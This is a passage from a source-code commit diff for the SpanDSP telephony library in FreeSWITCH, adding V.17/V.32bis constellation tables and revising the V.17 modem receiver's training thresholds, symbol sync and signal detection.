+ * GNU Lesser General Public License for more details.
+ *
+ * You should have received a copy of the GNU Lesser General Public
+ * License along with this program; if not, write to the Free Software
+ * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
+ *
+ * $Id: v17_v32bis_tx_constellation_maps.h,v 1.1 2009/06/02 11:51:57 steveu Exp $
+ */
+
+#if defined(SPANDSP_USE_FIXED_POINTx)
+static const complexi16_t v17_v32bis_14400_constellation[128] =
+#else
+static const complexf_t v17_v32bis_14400_constellation[128] =
+#endif
+{
+    {-8, -3},       /* 0x00 */
+    { 9,  2},       /* 0x01 */
+    { 2, -9},       /* 0x02 */
+    {-3,  8},       /* 0x03 */
+    { 8,  3},       /* 0x04 */
+    {-9, -2},       /* 0x05 */
+    {-2,  9},       /* 0x06 */
+    { 3, -8},       /* 0x07 */
+    {-8,  1},       /* 0x08 */
+    { 9, -2},       /* 0x09 */
+    {-2, -9},       /* 0x0A */
+    { 1,  8},       /* 0x0B */
+    { 8, -1},       /* 0x0C */
+    {-9,  2},       /* 0x0D */
+    { 2,  9},       /* 0x0E */
+    {-1, -8},       /* 0x0F */
+    {-4, -3},       /* 0x10 */
+    { 5,  2},       /* 0x11 */
+    { 2, -5},       /* 0x12 */
+    {-3,  4},       /* 0x13 */
+    { 4,  3},       /* 0x14 */
+    {-5, -2},       /* 0x15 */
+    {-2,  5},       /* 0x16 */
+    { 3, -4},       /* 0x17 */
+    {-4,  1},       /* 0x18 */
+    { 5, -2},       /* 0x19 */
+    {-2, -5},       /* 0x1A */
+    { 1,  4},       /* 0x1B */
+    { 4, -1},       /* 0x1C */
+    {-5,  2},       /* 0x1D */
+    { 2,  5},       /* 0x1E */
+    {-1, -4},       /* 0x1F */
+    { 4, -3},       /* 0x20 */
+    {-3,  2},       /* 0x21 */
+    { 2,  3},       /* 0x22 */
+    {-3, -4},       /* 0x23 */
+    {-4,  3},       /* 0x24 */
+    { 3, -2},       /* 0x25 */
+    {-2, -3},       /* 0x26 */
+    { 3,  4},       /* 0x27 */
+    { 4,  1},       /* 0x28 */
+    {-3, -2},       /* 0x29 */
+    {-2,  3},       /* 0x2A */
+    { 1, -4},       /* 0x2B */
+    {-4, -1},       /* 0x2C */
+    { 3,  2},       /* 0x2D */
+    { 2, -3},       /* 0x2E */
+    {-1,  4},       /* 0x2F */
+    { 0, -3},       /* 0x30 */
+    { 1,  2},       /* 0x31 */
+    { 2, -1},       /* 0x32 */
+    {-3,  0},       /* 0x33 */
+    { 0,  3},       /* 0x34 */
+    {-1, -2},       /* 0x35 */
+    {-2,  1},       /* 0x36 */
+    { 3,  0},       /* 0x37 */
+    { 0,  1},       /* 0x38 */
+    { 1, -2},       /* 0x39 */
+    {-2, -1},       /* 0x3A */
+    { 1,  0},       /* 0x3B */
+    { 0, -1},       /* 0x3C */
+    {-1,  2},       /* 0x3D */
+    { 2,  1},       /* 0x3E */
+    {-1,  0},       /* 0x3F */
+    { 8, -3},       /* 0x40 */
+    {-7,  2},       /* 0x41 */
+    { 2,  7},       /* 0x42 */
+    {-3, -8},       /* 0x43 */
+    {-8,  3},       /* 0x44 */
+    { 7, -2},       /* 0x45 */
+    {-2, -7},       /* 0x46 */
+    { 3,  8},       /* 0x47 */
+    { 8,  1},       /* 0x48 */
+    {-7, -2},       /* 0x49 */
+    {-2,  7},       /* 0x4A */
+    { 1, -8},       /* 0x4B */
+    {-8, -1},       /* 0x4C */
+    { 7,  2},       /* 0x4D */
+    { 2, -7},       /* 0x4E */
+    {-1,  8},       /* 0x4F */
+    {-4, -7},       /* 0x50 */
+    { 5,  6},       /* 0x51 */
+    { 6, -5},       /* 0x52 */
+    {-7,  4},       /* 0x53 */
+    { 4,  7},       /* 0x54 */
+    {-5, -6},       /* 0x55 */
+    {-6,  5},       /* 0x56 */
+    { 7, -4},       /* 0x57 */
+    {-4,  5},       /* 0x58 */
+    { 5, -6},       /* 0x59 */
+    {-6, -5},       /* 0x5A */
+    { 5,  4},       /* 0x5B */
+    { 4, -5},       /* 0x5C */
+    {-5,  6},       /* 0x5D */
+    { 6,  5},       /* 0x5E */
+    {-5, -4},       /* 0x5F */
+    { 4, -7},       /* 0x60 */
+    {-3,  6},       /* 0x61 */
+    { 6,  3},       /* 0x62 */
+    {-7, -4},       /* 0x63 */
+    {-4,  7},       /* 0x64 */
+    { 3, -6},       /* 0x65 */
+    {-6, -3},       /* 0x66 */
+    { 7,  4},       /* 0x67 */
+    { 4,  5},       /* 0x68 */
+    {-3, -6},       /* 0x69 */
+    {-6,  3},       /* 0x6A */
+    { 5, -4},       /* 0x6B */
+    {-4, -5},       /* 0x6C */
+    { 3,  6},       /* 0x6D */
+    { 6, -3},       /* 0x6E */
+    {-5,  4},       /* 0x6F */
+    { 0, -7},       /* 0x70 */
+    { 1,  6},       /* 0x71 */
+    { 6, -1},       /* 0x72 */
+    {-7,  0},       /* 0x73 */
+    { 0,  7},       /* 0x74 */
+    {-1, -6},       /* 0x75 */
+    {-6,  1},       /* 0x76 */
+    { 7,  0},       /* 0x77 */
+    { 0,  5},       /* 0x78 */
+    { 1, -6},       /* 0x79 */
+    {-6, -1},       /* 0x7A */
+    { 5,  0},       /* 0x7B */
+    { 0, -5},       /* 0x7C */
+    {-1,  6},       /* 0x7D */
+    { 6,  1},       /* 0x7E */
+    {-5,  0}        /* 0x7F */
+};
+
+#if defined(SPANDSP_USE_FIXED_POINTx)
+static const complexi16_t v17_v32bis_12000_constellation[64] =
+#else
+static const complexf_t v17_v32bis_12000_constellation[64] =
+#endif
+{
+    { 7,  1},       /* 0x00 */
+    {-5, -1},       /* 0x01 */
+    {-1,  5},       /* 0x02 */
+    { 1, -7},       /* 0x03 */
+    {-7, -1},       /* 0x04 */
+    { 5,  1},       /* 0x05 */
+    { 1, -5},       /* 0x06 */
+    {-1,  7},       /* 0x07 */
+    { 3, -3},       /* 0x08 */
+    {-1,  3},       /* 0x09 */
+    { 3,  1},       /* 0x0A */
+    {-3, -3},       /* 0x0B */
+    {-3,  3},       /* 0x0C */
+    { 1, -3},       /* 0x0D */
+    {-3, -1},       /* 0x0E */
+    { 3,  3},       /* 0x0F */
+    { 7, -7},       /* 0x10 */
+    {-5,  7},       /* 0x11 */
+    { 7,  5},       /* 0x12 */
+    {-7, -7},       /* 0x13 */
+    {-7,  7},       /* 0x14 */
+    { 5, -7},       /* 0x15 */
+    {-7, -5},       /* 0x16 */
+    { 7,  7},       /* 0x17 */
+    {-1, -7},       /* 0x18 */
+    { 3,  7},       /* 0x19 */
+    { 7, -3},       /* 0x1A */
+    {-7,  1},       /* 0x1B */
+    { 1,  7},       /* 0x1C */
+    {-3, -7},       /* 0x1D */
+    {-7,  3},       /* 0x1E */
+    { 7, -1},       /* 0x1F */
+    { 3,  5},       /* 0x20 */
+    {-1, -5},       /* 0x21 */
+    {-5,  1},       /* 0x22 */
+    { 5, -3},       /* 0x23 */
+    {-3, -5},       /* 0x24 */
+    { 1,  5},       /* 0x25 */
+    { 5, -1},       /* 0x26 */
+    {-5,  3},       /* 0x27 */
+    {-1,  1},       /* 0x28 */
+    { 3, -1},       /* 0x29 */
+    {-1, -3},       /* 0x2A */
+    { 1,  1},       /* 0x2B */
+    { 1, -1},       /* 0x2C */
+    {-3,  1},       /* 0x2D */
+    { 1,  3},       /* 0x2E */
+    {-1, -1},       /* 0x2F */
+    {-5,  5},       /* 0x30 */
+    { 7, -5},       /* 0x31 */
+    {-5, -7},       /* 0x32 */
+    { 5,  5},       /* 0x33 */
+    { 5, -5},       /* 0x34 */
+    {-7,  5},       /* 0x35 */
+    { 5,  7},       /* 0x36 */
+    {-5, -5},       /* 0x37 */
+    {-5, -3},       /* 0x38 */
+    { 7,  3},       /* 0x39 */
+    { 3, -7},       /* 0x3A */
+    {-3,  5},       /* 0x3B */
+    { 5,  3},       /* 0x3C */
+    {-7, -3},       /* 0x3D */
+    {-3,  7},       /* 0x3E */
+    { 3, -5}        /* 0x3F */
+};
+
+#if defined(SPANDSP_USE_FIXED_POINTx)
+static const complexi16_t v17_v32bis_9600_constellation[32] =
+#else
+static const complexf_t v17_v32bis_9600_constellation[32] =
+#endif
+{
+    {-8,  2},       /* 0x00 */
+    {-6, -4},       /* 0x01 */
+    {-4,  6},       /* 0x02 */
+    { 2,  8},       /* 0x03 */
+    { 8, -2},       /* 0x04 */
+    { 6,  4},       /* 0x05 */
+    { 4, -6},       /* 0x06 */
+    {-2, -8},       /* 0x07 */
+    { 0,  2},       /* 0x08 */
+    {-6,  4},       /* 0x09 */
+    { 4,  6},       /* 0x0A */
+    { 2,  0},       /* 0x0B */
+    { 0, -2},       /* 0x0C */
+    { 6, -4},       /* 0x0D */
+    {-4, -6},       /* 0x0E */
+    {-2,  0},       /* 0x0F */
+    { 0, -6},       /* 0x10 */
+    { 2, -4},       /* 0x11 */
+    {-4, -2},       /* 0x12 */
+    {-6,  0},       /* 0x13 */
+    { 0,  6},       /* 0x14 */
+    {-2,  4},       /* 0x15 */
+    { 4,  2},       /* 0x16 */
+    { 6,  0},       /* 0x17 */
+    { 8,  2},       /* 0x18 */
+    { 2,  4},       /* 0x19 */
+    { 4, -2},       /* 0x1A */
+    { 2, -8},       /* 0x1B */
+    {-8, -2},       /* 0x1C */
+    {-2, -4},       /* 0x1D */
+    {-4,  2},       /* 0x1E */
+    {-2,  8}        /* 0x1F */
+};
+
+#if defined(SPANDSP_USE_FIXED_POINTx)
+static const complexi16_t v17_v32bis_7200_constellation[16] =
+#else
+static const complexf_t v17_v32bis_7200_constellation[16] =
+#endif
+{
+    { 6, -6},       /* 0x00 */
+    {-2,  6},       /* 0x01 */
+    { 6,  2},       /* 0x02 */
+    {-6, -6},       /* 0x03 */
+    {-6,  6},       /* 0x04 */
+    { 2, -6},       /* 0x05 */
+    {-6, -2},       /* 0x06 */
+    { 6,  6},       /* 0x07 */
+    {-2,  2},       /* 0x08 */
+    { 6, -2},       /* 0x09 */
+    {-2, -6},       /* 0x0A */
+    { 2,  2},       /* 0x0B */
+    { 2, -2},       /* 0x0C */
+    {-6,  2},       /* 0x0D */
+    { 2,  6},       /* 0x0E */
+    {-2, -2}        /* 0x0F */
+};
+
+#if defined(SPANDSP_USE_FIXED_POINTx)
+static const complexi16_t v17_v32bis_4800_constellation[4] =
+#else
+static const complexf_t v17_v32bis_4800_constellation[4] =
+#endif
+{
+    {-6, -2},
+    { 2, -6},
+    { 6,  2},
+    {-2,  6}
+};
+
+/*- End of file ------------------------------------------------------------*/

Modified: freeswitch/branches/seven/libs/spandsp/src/v17rx.c (14471 => 14472)


--- freeswitch/branches/seven/libs/spandsp/src/v17rx.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/spandsp/src/v17rx.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -1,3 +1,4 @@
+#define IAXMODEM_STUFF
 /*
  * SpanDSP - a series of DSP components for telephony
  *
@@ -22,26 +23,26 @@
  * License along with this program; if not, write to the Free Software
  * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
  *
- * $Id: v17rx.c,v 1.123 2008/09/18 15:59:55 steveu Exp $
+ * $Id: v17rx.c,v 1.153 2009/07/09 14:17:57 steveu Exp $
  */
 
 /*! \file */
 
 #if defined(HAVE_CONFIG_H)
-#include <config.h>
+#include "config.h"
 #endif
 
 #include <stdlib.h>
 #include <inttypes.h>
 #include <string.h>
 #include <stdio.h>
-#include "floating_fudge.h"
 #if defined(HAVE_TGMATH_H)
 #include <tgmath.h>
 #endif
 #if defined(HAVE_MATH_H)
 #include <math.h>
 #endif
+#include "floating_fudge.h"
 
 #include "spandsp/telephony.h"
 #include "spandsp/logging.h"
@@ -60,29 +61,44 @@
 #include "spandsp/v17tx.h"
 #include "spandsp/v17rx.h"
 
-#include "v17tx_constellation_maps.h"
-#include "v17rx_constellation_maps.h"
+#include "spandsp/private/logging.h"
+#include "spandsp/private/v17rx.h"
+
+#include "v17_v32bis_tx_constellation_maps.h"
+#include "v17_v32bis_rx_constellation_maps.h"
 #if defined(SPANDSP_USE_FIXED_POINT)
-#include "v17rx_fixed_rrc.h"
+#include "v17_v32bis_rx_fixed_rrc.h"
 #else
-#include "v17rx_floating_rrc.h"
+#include "v17_v32bis_rx_floating_rrc.h"
 #endif
 
+/*! The nominal frequency of the carrier, in Hertz */
 #define CARRIER_NOMINAL_FREQ            1800.0f
+/*! The nominal baud or symbol rate */
 #define BAUD_RATE                       2400
+/*! The adaption rate coefficient for the equalizer during initial training */
 #define EQUALIZER_DELTA                 0.21f
+/*! The adaption rate coefficient for the equalizer during continuous fine tuning */
 #define EQUALIZER_SLOW_ADAPT_RATIO      0.1f
 
 /* Segments of the training sequence */
+/*! The length of training segment 1, in symbols */
 #define V17_TRAINING_SEG_1_LEN          256
+/*! The length of training segment 2 in long training mode, in symbols */
 #define V17_TRAINING_SEG_2_LEN          2976
+/*! The length of training segment 2 in short training mode, in symbols */
 #define V17_TRAINING_SHORT_SEG_2_LEN    38
+/*! The length of training segment 3, in symbols */
 #define V17_TRAINING_SEG_3_LEN          64
+/*! The length of training segment 4A, in symbols */
 #define V17_TRAINING_SEG_4A_LEN         15
+/*! The length of training segment 4, in symbols */
 #define V17_TRAINING_SEG_4_LEN          48
 
+/*! The 16 bit pattern used in the bridge section of the training sequence */
 #define V17_BRIDGE_WORD                 0x8880
 
+/*! The length of the equalizer buffer */
 #define V17_EQUALIZER_LEN    (V17_EQUALIZER_PRE_LEN + 1 + V17_EQUALIZER_POST_LEN)
 
 enum
@@ -103,33 +119,63 @@
 };
 
 /* Coefficients for the band edge symbol timing synchroniser (alpha = 0.99) */
-#define SYNC_LOW_BAND_EDGE_COEFF_0       1.764193f    /* 2*alpha*cos(low_edge) */
-#define SYNC_LOW_BAND_EDGE_COEFF_1      -0.980100f    /* -alpha^2 */
-#define SYNC_HIGH_BAND_EDGE_COEFF_0     -1.400072f    /* 2*alpha*cos(high_edge) */
-#define SYNC_HIGH_BAND_EDGE_COEFF_1     -0.980100f    /* -alpha^2 */
-#define SYNC_CROSS_CORR_COEFF_A         -0.932131f    /* -alpha^2*sin(freq_diff) */
-#define SYNC_CROSS_CORR_COEFF_B          0.700036f    /* alpha*sin(high_edge) */
-#define SYNC_CROSS_CORR_COEFF_C         -0.449451f    /* -alpha*sin(low_edge) */
+/* low_edge = 2.0f*M_PI*(CARRIER_NOMINAL_FREQ - BAUD_RATE/2.0f)/SAMPLE_RATE; */
+/* high_edge = 2.0f*M_PI*(CARRIER_NOMINAL_FREQ + BAUD_RATE/2.0f)/SAMPLE_RATE; */
+#if defined(SPANDSP_USE_FIXED_POINTx)
+#define SYNC_LOW_BAND_EDGE_COEFF_0      ((int)(FP_FACTOR* 1.764193f))   /* 2*alpha*cos(low_edge) */
+#define SYNC_LOW_BAND_EDGE_COEFF_1      ((int)(FP_FACTOR*-0.980100f))   /* -alpha^2 */
+#define SYNC_HIGH_BAND_EDGE_COEFF_0     ((int)(FP_FACTOR*-1.400072f))   /* 2*alpha*cos(high_edge) */
+#define SYNC_HIGH_BAND_EDGE_COEFF_1     ((int)(FP_FACTOR*-0.980100f))   /* -alpha^2 */
+#define SYNC_CROSS_CORR_COEFF_A         ((int)(FP_FACTOR*-0.932131f))   /* -alpha^2*sin(freq_diff) */
+#define SYNC_CROSS_CORR_COEFF_B         ((int)(FP_FACTOR* 0.700036f))   /* alpha*sin(high_edge) */
+#define SYNC_CROSS_CORR_COEFF_C         ((int)(FP_FACTOR*-0.449451f))   /* -alpha*sin(low_edge) */
+#else
+#define SYNC_LOW_BAND_EDGE_COEFF_0       1.764193f                      /* 2*alpha*cos(low_edge) */
+#define SYNC_LOW_BAND_EDGE_COEFF_1      -0.980100f                      /* -alpha^2 */
+#define SYNC_HIGH_BAND_EDGE_COEFF_0     -1.400072f                      /* 2*alpha*cos(high_edge) */
+#define SYNC_HIGH_BAND_EDGE_COEFF_1     -0.980100f                      /* -alpha^2 */
+#define SYNC_CROSS_CORR_COEFF_A         -0.932131f                      /* -alpha^2*sin(freq_diff) */
+#define SYNC_CROSS_CORR_COEFF_B          0.700036f                      /* alpha*sin(high_edge) */
+#define SYNC_CROSS_CORR_COEFF_C         -0.449451f                      /* -alpha*sin(low_edge) */
+#endif
 
-float v17_rx_carrier_frequency(v17_rx_state_t *s)
+#if defined(SPANDSP_USE_FIXED_POINTx)
+static const int constellation_spacing[4] =
 {
+    ((int)(FP_FACTOR*1.414f),
+    ((int)(FP_FACTOR*2.0f)},
+    ((int)(FP_FACTOR*2.828f)},
+    ((int)(FP_FACTOR*4.0f)},
+};
+#else
+static const float constellation_spacing[4] =
+{
+    1.414f,
+    2.0f,
+    2.828f,
+    4.0f
+};
+#endif
+
+SPAN_DECLARE(float) v17_rx_carrier_frequency(v17_rx_state_t *s)
+{
     return dds_frequencyf(s->carrier_phase_rate);
 }
 /*- End of function --------------------------------------------------------*/
 
-float v17_rx_symbol_timing_correction(v17_rx_state_t *s)
+SPAN_DECLARE(float) v17_rx_symbol_timing_correction(v17_rx_state_t *s)
 {
     return (float) s->total_baud_timing_correction/((float) RX_PULSESHAPER_COEFF_SETS*10.0f/3.0f);
 }
 /*- End of function --------------------------------------------------------*/
 
-float v17_rx_signal_power(v17_rx_state_t *s)
+SPAN_DECLARE(float) v17_rx_signal_power(v17_rx_state_t *s)
 {
-    return power_meter_current_dbm0(&s->power);
+    return power_meter_current_dbm0(&s->power) + 3.98f;
 }
 /*- End of function --------------------------------------------------------*/
 
-void v17_rx_signal_cutoff(v17_rx_state_t *s, float cutoff)
+SPAN_DECLARE(void) v17_rx_signal_cutoff(v17_rx_state_t *s, float cutoff)
 {
     /* The 0.4 factor allows for the gain of the DC blocker */
     s->carrier_on_power = (int32_t) (power_meter_level_dbm0(cutoff + 2.5f)*0.4f);
@@ -147,9 +193,9 @@
 /*- End of function --------------------------------------------------------*/
 
 #if defined(SPANDSP_USE_FIXED_POINTx)
-int v17_rx_equalizer_state(v17_rx_state_t *s, complexi16_t **coeffs)
+SPAN_DECLARE(int) v17_rx_equalizer_state(v17_rx_state_t *s, complexi16_t **coeffs)
 #else
-int v17_rx_equalizer_state(v17_rx_state_t *s, complexf_t **coeffs)
+SPAN_DECLARE(int) v17_rx_equalizer_state(v17_rx_state_t *s, complexf_t **coeffs)
 #endif
 {
     *coeffs = s->eq_coeff;
@@ -216,24 +262,30 @@
 
 #if defined(SPANDSP_USE_FIXED_POINTx)
 static void tune_equalizer(v17_rx_state_t *s, const complexi16_t *z, const complexi16_t *target)
+{
+    complexi16_t err;
+
+    /* Find the x and y mismatch from the exact constellation position. */
+    err.re = target->re*FP_FACTOR - z->re;
+    err.im = target->im*FP_FACTOR - z->im;
+    //span_log(&s->logging, SPAN_LOG_FLOW, "Equalizer error %f\n", sqrt(err.re*err.re + err.im*err.im));
+    err.re = ((int32_t) err.re*(int32_t) s->eq_delta) >> 15;
+    err.im = ((int32_t) err.im*(int32_t) s->eq_delta) >> 15;
+    cvec_circular_lmsi16(s->eq_buf, s->eq_coeff, V17_EQUALIZER_LEN, s->eq_step, &err);
+}
 #else
 static void tune_equalizer(v17_rx_state_t *s, const complexf_t *z, const complexf_t *target)
-#endif
 {
     complexf_t err;
 
     /* Find the x and y mismatch from the exact constellation position. */
     err = complex_subf(target, z);
-    //span_log(&s->logging, SPAN_LOG_FLOW, "Equalizer error %f\n", sqrt(ez.re*ez.re + ez.im*ez.im));
+    //span_log(&s->logging, SPAN_LOG_FLOW, "Equalizer error %f\n", sqrt(err.re*err.re + err.im*err.im));
     err.re *= s->eq_delta;
     err.im *= s->eq_delta;
-
-    err = complex_subf(target, z);
-    err.re *= s->eq_delta;
-    err.im *= s->eq_delta;
     cvec_circular_lmsf(s->eq_buf, s->eq_coeff, V17_EQUALIZER_LEN, s->eq_step, &err);
 }
-/*- End of function --------------------------------------------------------*/
+#endif
 
 static int descramble(v17_rx_state_t *s, int in_bit)
 {
@@ -249,18 +301,6 @@
 }
 /*- End of function --------------------------------------------------------*/
 
-static __inline__ int find_quadrant(complexf_t *z)
-{
-    int b1;
-    int b2;
-
-    /* Split the space along the two diagonals. */
-    b1 = (z->im > z->re);
-    b2 = (z->im < -z->re);
-    return (b2 << 1) | (b1 ^ b2);
-}
-/*- End of function --------------------------------------------------------*/
-
 static void track_carrier(v17_rx_state_t *s, const complexf_t *z, const complexf_t *target)
 {
     float error;
@@ -483,12 +523,41 @@
 static __inline__ void symbol_sync(v17_rx_state_t *s)
 {
     int i;
+#if defined(SPANDSP_USE_FIXED_POINTx)
+    int32_t v;
+    int32_t p;
+#else
     float v;
     float p;
+#endif
 
     /* This routine adapts the position of the half baud samples entering the equalizer. */
 
+#if defined(SPANDSP_USE_FIXED_POINTx)
+    /* TODO: The scalings used here need more thorough evaluation, to see if overflows are possible. */
     /* Cross correlate */
+    v = (((s->symbol_sync_low[1] >> 5)*(s->symbol_sync_high[1] >> 4)) >> 15)*SYNC_CROSS_CORR_COEFF_A
+      + (((s->symbol_sync_low[0] >> 5)*(s->symbol_sync_high[1] >> 4)) >> 15)*SYNC_CROSS_CORR_COEFF_B
+      + (((s->symbol_sync_low[1] >> 5)*(s->symbol_sync_high[0] >> 4)) >> 15)*SYNC_CROSS_CORR_COEFF_C;
+    /* Filter away any DC component */
+    p = v - s->symbol_sync_dc_filter[1];
+    s->symbol_sync_dc_filter[1] = s->symbol_sync_dc_filter[0];
+    s->symbol_sync_dc_filter[0] = v;
+    /* A little integration will now filter away much of the noise */
+    s->baud_phase -= p;
+    if (abs(s->baud_phase) > 100*FP_FACTOR)
+    {
+        if (s->baud_phase > 0)
+            i = (s->baud_phase > 1000*FP_FACTOR)  ?  5  :  1;
+        else
+            i = (s->baud_phase < -1000*FP_FACTOR)  ?  -5  :  -1;
+
+        //printf("v = %10.5f %5d - %f %f %d %d\n", v, i, p, s->baud_phase, s->total_baud_timing_correction);
+        s->eq_put_step += i;
+        s->total_baud_timing_correction += i;
+    }
+#else
+    /* Cross correlate */
     v = s->symbol_sync_low[1]*s->symbol_sync_high[1]*SYNC_CROSS_CORR_COEFF_A
       + s->symbol_sync_low[0]*s->symbol_sync_high[1]*SYNC_CROSS_CORR_COEFF_B
       + s->symbol_sync_low[1]*s->symbol_sync_high[0]*SYNC_CROSS_CORR_COEFF_C;
@@ -511,6 +580,7 @@
         s->eq_put_step += i;
         s->total_baud_timing_correction += i;
     }
+#endif
 }
 /*- End of function --------------------------------------------------------*/
 
@@ -568,11 +638,7 @@
     case TRAINING_STAGE_SYMBOL_ACQUISITION:
         /* Allow time for the symbol synchronisation to settle the symbol timing. */
         target = &zero;
-#if defined(IAXMODEM_STUFF)
         if (++s->training_count >= 100)
-#else
-        if (++s->training_count >= 50)
-#endif
         {
             /* Record the current phase angle */
             s->angles[0] =
@@ -702,8 +768,9 @@
             s->carrier_phase += (angle - 219937506);
 
             /* We have just seen the first symbol of the scrambled sequence, so skip it. */
-            descramble(s, 1);
-            descramble(s, 1);
+            bit = descramble(s, 1);
+            bit = (bit << 1) | descramble(s, 1);
+            target = &cdba[bit];
             s->training_count = 1;
             s->training_stage = TRAINING_STAGE_COARSE_TRAIN_ON_CDBA;
             report_status_change(s, SIG_STATUS_TRAINING_IN_PROGRESS);
@@ -777,7 +844,7 @@
         else if (s->training_count >= V17_TRAINING_SEG_2_LEN)
         {
             span_log(&s->logging, SPAN_LOG_FLOW, "Long training error %f\n", s->training_error);
-            if (s->training_error < 40.0f)
+            if (s->training_error < 20.0f*1.414f*constellation_spacing[s->space_map])
             {
                 s->training_count = 0;
                 s->training_error = 0.0f;
@@ -805,7 +872,6 @@
         }
         break;
     case TRAINING_STAGE_SHORT_WAIT_FOR_CDBA:
-        target = &cdba[(s->training_count & 1) + 2];
         /* Look for the initial ABAB sequence to display a phase reversal, which will
            signal the start of the scrambled CDBA segment */
         angle = arctan2(z.im, z.re);
@@ -814,13 +880,15 @@
         {
             /* We seem to have a phase reversal */
             /* We have just seen the first symbol of the scrambled sequence, so skip it. */
-            descramble(s, 1);
-            descramble(s, 1);
+            bit = descramble(s, 1);
+            bit = (bit << 1) | descramble(s, 1);
+            target = &cdba[bit];
             s->training_count = 1;
             s->training_error = 0.0f;
             s->training_stage = TRAINING_STAGE_SHORT_TRAIN_ON_CDBA_AND_TEST;
             break;
         }
+        target = &cdba[(s->training_count & 1) + 2];
         track_carrier(s, &z, target);
         if (++s->training_count > V17_TRAINING_SEG_1_LEN)
         {
@@ -851,10 +919,10 @@
             span_log(&s->logging, SPAN_LOG_FLOW, "Short training error %f\n", s->training_error);
             s->carrier_track_i = 100.0f;
             s->carrier_track_p = 500000.0f;
-            /* TODO: This was changed from 20.0 to 200.0 after studying real world failures.
+            /* TODO: This was increased by a factor of 10 after studying real world failures.
                      However, it is not clear why this is an improvement, If something gives
-                     a training error way over 20, surely it shouldn't decode too well? */
-            if (s->training_error < 200.0f)
+                     a huge training error, surely it shouldn't decode too well? */
+            if (s->training_error < (V17_TRAINING_SHORT_SEG_2_LEN - 8)*4.0f*constellation_spacing[s->space_map])
             {
                 s->training_count = 0;
                 s->training_stage = TRAINING_STAGE_TCM_WINDUP;
@@ -897,14 +965,10 @@
         s->training_error += powerf(&zz);
         if (++s->training_count >= V17_TRAINING_SEG_4_LEN)
         {
-#if defined(IAXMODEM_STUFF)
-            if (s->training_error < 80.0f)
-#else
-            if (s->training_error < 30.0f)
-#endif
+            if (s->training_error < V17_TRAINING_SEG_4_LEN*constellation_spacing[s->space_map])
             {
                 /* We are up and running */
-                span_log(&s->logging, SPAN_LOG_FLOW, "Training succeeded (constellation mismatch %f)\n", s->training_error);
+                span_log(&s->logging, SPAN_LOG_FLOW, "Training succeeded at %dbps (constellation mismatch %f)\n", s->bit_rate, s->training_error);
                 report_status_change(s, SIG_STATUS_TRAINING_SUCCEEDED);
                 /* Apply some lag to the carrier off condition, to ensure the last few bits get pushed through
                    the processing. */
@@ -938,12 +1002,81 @@
 }
 /*- End of function --------------------------------------------------------*/
 
-int v17_rx(v17_rx_state_t *s, const int16_t amp[], int len)
+static __inline__ int signal_detect(v17_rx_state_t *s, int16_t amp)
 {
+    int16_t diff;
+    int16_t x;
+    int32_t power;
+
+    /* There should be no DC in the signal, but sometimes there is.
+       We need to measure the power with the DC blocked, but not using
+       a slow to respond DC blocker. Use the most elementary HPF. */
+    x = amp >> 1;
+    /* There could be overflow here, but it isn't a problem in practice */
+    diff = x - s->last_sample;
+    s->last_sample = x;
+    power = power_meter_update(&(s->power), diff);
+#if defined(IAXMODEM_STUFF)
+    /* Quick power drop fudge */
+    diff = abs(diff);
+    if (10*diff < s->high_sample)
+    {
+        if (++s->low_samples > 120)
+        {
+            power_meter_init(&(s->power), 4);
+            s->high_sample = 0;
+            s->low_samples = 0;
+        }
+    }
+    else
+    { 
+        s->low_samples = 0;
+        if (diff > s->high_sample)
+            s->high_sample = diff;
+    }
+#endif
+    if (s->signal_present > 0)
+    {
+        /* Look for power below turn-off threshold to turn the carrier off */
+#if defined(IAXMODEM_STUFF)
+        if (s->carrier_drop_pending  ||  power < s->carrier_off_power)
+#else
+        if (power < s->carrier_off_power)
+#endif
+        {
+            if (--s->signal_present <= 0)
+            {
+                /* Count down a short delay, to ensure we push the last
+                   few bits through the filters before stopping. */
+                v17_rx_restart(s, s->bit_rate, s->short_train);
+                report_status_change(s, SIG_STATUS_CARRIER_DOWN);
+                return 0;
+            }
+#if defined(IAXMODEM_STUFF)
+            /* Carrier has dropped, but the put_bit is pending the signal_present delay. */
+            s->carrier_drop_pending = TRUE;
+#endif
+        }
+    }
+    else
+    {
+        /* Look for power exceeding turn-on threshold to turn the carrier on */
+        if (power < s->carrier_on_power)
+            return 0;
+        s->signal_present = 1;
+#if defined(IAXMODEM_STUFF)
+        s->carrier_drop_pending = FALSE;
+#endif
+        report_status_change(s, SIG_STATUS_CARRIER_UP);
+    }
+    return power;
+}
+/*- End of function --------------------------------------------------------*/
+
+SPAN_DECLARE_NONSTD(int) v17_rx(v17_rx_state_t *s, const int16_t amp[], int len)
+{
     int i;
     int step;
-    int16_t x;
-    int32_t diff;
     complexf_t z;
     complexf_t zz;
     complexf_t sample;
@@ -963,67 +1096,8 @@
         if (++s->rrc_filter_step >= V17_RX_FILTER_STEPS)
             s->rrc_filter_step = 0;
 
-        /* There should be no DC in the signal, but sometimes there is.
-           We need to measure the power with the DC blocked, but not using
-           a slow to respond DC blocker. Use the most elementary HPF. */
-        x = amp[i] >> 1;
-        diff = x - s->last_sample;
-        power = power_meter_update(&(s->power), diff);
-#if defined(IAXMODEM_STUFF)
-        /* Quick power drop fudge */
-        diff = abs(diff);
-        if (10*diff < s->high_sample)
-        {
-            if (++s->low_samples > 120)
-            {
-                power_meter_init(&(s->power), 4);
-                s->high_sample = 0;
-                s->low_samples = 0;
-            }
-        }
-        else
-        { 
-            s->low_samples = 0;
-            if (diff > s->high_sample)
-               s->high_sample = diff;
-        }
-#endif
-        s->last_sample = x;
-        if (s->signal_present)
-        {
-            /* Look for power below turnoff threshold to turn the carrier off */
-#if defined(IAXMODEM_STUFF)
-            if (s->carrier_drop_pending  ||  power < s->carrier_off_power)
-#else
-            if (power < s->carrier_off_power)
-#endif
-            {
-                if (--s->signal_present <= 0)
-                {
-                    /* Count down a short delay, to ensure we push the last
-                       few bits through the filters before stopping. */
-                    v17_rx_restart(s, s->bit_rate, s->short_train);
-                    report_status_change(s, SIG_STATUS_CARRIER_DOWN);
-                    continue;
-                }
-#if defined(IAXMODEM_STUFF)
-                /* Carrier has dropped, but the put_bit is
-                   pending the signal_present delay. */
-                s->carrier_drop_pending = TRUE;
-#endif
-            }
-        }
-        else
-        {
-            /* Look for power exceeding turnon threshold to turn the carrier on */
